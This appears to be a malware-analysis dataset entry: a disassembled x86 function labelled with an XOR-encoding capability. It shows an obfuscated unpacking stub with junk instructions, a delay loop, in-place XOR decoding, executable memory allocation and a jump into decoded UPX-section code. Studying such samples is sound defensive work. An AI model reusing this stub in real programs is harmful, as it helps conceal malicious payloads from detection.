Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x75adeb00
mov ebx, 0xf374612b
inc edi
popal
or ebx, edi
or edi, ebx
mov ebx, 0
mov ecx, edi
mov eax, edx
add edx, eax
mov esi, ecx
and edx, eax
sub edx, 0x93d7f4ec
add eax, 1
mov edi, esi
add edx, 0x184b51fb
and eax, edx
inc ebx
add edx, 1
not edx
cmp ebx, 0x1009b54
jne 0xa789c2
or edx, eax
not eax
add ebx, ebx
sub ebx, edi
mov edx, 0xa78796
mov eax, edi
mov eax, 0xc8c8032e
mov ecx, 0xa7898a
not esi
mov esi, eax
mov ebx, dword [edx]
add esi, eax
mov eax, esi
and ebx, 0xff
and edi, eax
sub eax, 1
xor dword [ecx], ebx
or eax, eax
not esi
and esi, esi
inc ecx
mov edi, 0x56353d3e
inc eax
inc edx
and esi, eax
not esi
cmp ecx, entry0
jl 0xa78a14
sub esi, 0xae478150
sub edi, 0xc7baf51a
not edi
add eax, esi
add ebx, 0x315565bf
and edi, ebx
mov ecx, 0xa7898e
not esi
not edx
or edx, esi
mov ecx, dword [ecx]
mov edi, edx
mov edi, 0xce5465e1
mov ecx, dword [ecx]
add esi, 0x989d0be7
or edi, edi
sub esp, 4
mov dword [esp], ecx
inc ebx
dec edx
mov ecx, 0xa7898a
and edx, edi
sub esi, 1
mov ecx, dword [ecx]
and esi, ebx
and ebx, esi
mov ecx, dword [ecx]
sub edi, 0x59df2855
inc edi
or esi, esi
push 0xa78992
sub edx, 0x5dc2a656
dec esi
add edx, ebx
call ecx
mov esi, 0x547b10bb
mov esi, 0xb93b748e
not ebx
pop ecx
sub edx, 0xfebceeca
not edi
sub esp, 4
mov dword [esp], 0xa7899f
sub ebx, esi
dec edi
push eax
mov ebx, 0xac888cf7
mov ebx, esi
not ebx
call ecx
mov edx, edi
add edx, edx
and edx, edx
push 0x40
mov ebx, 0x7e37fb09
not edi
sub esp, 4
mov dword [esp], 0x3000
add edx, 0x79c9301b
dec edx
mov ebx, 0x88a655d8
sub esp, 4
mov dword [esp], 0x20000a3e
add esi, ebx
add esi, 0xf8d0e1fd
sub esp, 4
mov dword [esp], 0
or edi, edx
add esi, 0xe4d6c089
mov ebx, 0x2be6315a
call eax
sub ebx, esi
mov edi, 0x157fada6
sub esi, edx
add eax, 0x200009cd
not esi
sub ebx, 0x9f80e92a
mov ecx, 0xad693e59
sub edx, ebx
add edi, 0x123173d
sub edi, 0xb4bb194b
mov dword [eax], ecx
and edi, ebx
mov edi, 0xf16b6fdd
mov esi, edi
mov ecx, dword [eax]
or esi, ebx
sub ebx, 1
mov edi, 0x292e3ac4
cmp ecx, 0xad693e59
je 0xa78b88
mov edx, 0
mov byte [edx], al
or ebx, edi
mov esi, edx
sub esi, 0x3d3ea12d
not edi
sub ebx, 1
add ebx, 0x6a7f3136
mov esi, section.UPX1
not ebx
add edi, ebx
mov eax, 0xa78795
or edi, ebx
mov edi, 0x2ffa517c
inc ebx
mov edx, 0
dec edi
mov ebx, edi
add ebx, 0x89a221d7
mov ecx, 0xa78796
or edi, ebx
sub ebx, edi
mov edi, 0xeef34883
lea ecx, [ecx + edx]
inc ebx
inc ebx
mov edi, ebx
mov ecx, dword [ecx]
add edi, 0xa50d242e
sub edi, 0xc0c531ab
and ecx, 0xff
mov edi, 0xaaf2220a
or ebx, ebx
inc edx
not edi
add edi, edi
and edi, ebx
cmp edx, 0x1f4
jne 0xa78c08
mov edx, 0
or ebx, edi
add edi, 0x4bff1bac
not edi
sub ebx, edi
xor dword [esi], ecx
and ebx, edi
mov edi, ebx
mov edi, 0x7d251faf
add esi, 2
sub ebx, 0x3efbb8c7
inc edi
mov ebx, 0x954b6939
cmp esi, eax
jl 0xa78bc4
mov ebx, 0x593c83f5
and edi, ebx
dec ebx
sub edi, ebx
add ebx, edi
mov ecx, section.UPX1
sub esi, edi
sub edi, esi
mov ebx, section.UPX1
or esi, edi
and esi, esi
mov eax, 0xa78795
sub esi, 0x696924dc
not esi
mov edx, 0
sub esi, 0x5c510744
and edi, esi
mov dl, byte [ebx]
sub edi, 0x7da312d7
or edi, edi
sub esi, edi
mov byte [ecx], dl
add edi, 0x171b669c
sub esi, edi
inc ecx
not esi
mov esi, edi
mov edi, 0x5500e61e
add ebx, 2
inc edi
mov esi, edi
mov esi, 0x339d1354
cmp ebx, eax
jle 0xa78c71
inc edi
add edi, esi
or esi, edi
inc ebx
add edi, 0xbce999cb
push 0x8dc6a0
sub edi, 0x140e7ff0
inc ebx
ret